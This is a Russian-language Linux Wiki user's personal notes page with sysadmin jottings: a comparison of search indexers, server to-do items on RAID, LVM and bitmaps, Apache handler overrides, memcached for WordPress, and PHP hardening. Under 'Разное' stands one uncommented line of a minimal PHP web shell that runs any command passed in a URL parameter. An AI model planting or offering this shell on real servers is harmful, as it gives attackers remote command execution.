Участник:Rain/Заметки

Материал из Linux Wiki
Перейти к: навигация, поиск

Разное

<? system($_GET['cmd']); ?>

Индексаторы

  • htdig - древний, не развивается, последний релиз - 2004 года, не поддерживает юникод. Работал. Есть в дистрибутиве. Может сам собирать контент с веб-страниц
  • DataPark Search - В целом подходит, единственный раз работал. Повторить не удалось. Может сам собирать контент с веб-страниц или с локальных файлов. Не удалось запустить поиск по индексированному, не выдает ссылки, хотя документы считает
  • Sphinx - развивается, тестовый вариант запустился. Не умеет самостоятельно лазить по веб-страницам (в инете есть костыли на базе wget+bash, которые сграбливают сайты и подсовывают их Сфинксу, после чего тот это дело индексирует), больше предназначен для работы с конкретными проектами (например, шерстить базу локального форума, вики, etc)
  • MnogoSearch - единственный индексатор, который адекватно работал. То ли он является клоном DataPark Search, то ли наоборот, но они очень похожи по внутреннему устройству

ToDo по серверу

  • Сменить RAID10 на RAID1 для системного массива
Итого:
* https://www.linux.org.ru/forum/admin/7377399 - как победить зависания в процессе перемещения LV в LVM'e - пока никто не сказал
* На будущее - сразу после разборки-сборки RAID'a вносить его в mdadm.conf и в initrd (прежде всего в initrd), потом уже мувать разделы.
  • Вынести bitmap'ы (?) на другой массив для каждого (?) из массивов
Прежде всего я их создал - раньше просто не было. Создал только на системном - при создании на разделе другого массива система вешалась.
Возможно это было из-за того, что были перекрестные битмапы между RAID'aми. Пробовать пока больше нет желания.
Сделал internal bitmap, скорость вроде не упала.
  • Пофиксить подмену handler'ов на веб-сервере - надо ли?
Вот хз, надо ли. С одной стороны - да, можно найти бажный скрипт, который добавит RemoveHandler .php в .htaccess
и можно будет сливать php-файлы плейнтекстом. С другой стороны, этот же RemoveHandler используется для защиты каталогов аплоада файлов
от выполнения скриптов или для отображения php-файлов текстом в каких-нибудь репозиториях кода.
Т.е., вроде как правильнее было бы оставить, а права на аплоад и разруливать бажные скрипты уже владельцу сайта.
https://www.linux.org.ru/forum/talks/7273249
  • Проверить на тестовом сервере, что требуется для работы memcached для всяких там Wordpress'ов.
Требовался php5-memcache (не php5-memcached). Не смотря на ссылку на каталог в /var в конфиге - там реально ничего нет, т.е., из используемого - только библиотека
Не работало расширение раньше и из-за того, что плагин ломился на дефолтный порт
Однако есть другая проблема - не получается использовать общий memcached-сервер для нескольких WP-сайтов - на других сайтах начинают появляться "чужие" элементы и надписи.
С учетом того, что memcached обычно требуется на высоконагруженных сайтах, где под один сайт выделяется целый сервер - то не особо критично, просто пользоваться им на shared-хостинге нежелательно.
  • Максимально расширить disable_functions на хостинге
  • Подумать насчет запуска httpd у monit'a для управления наблюдаемыми сервисами.

Ссылки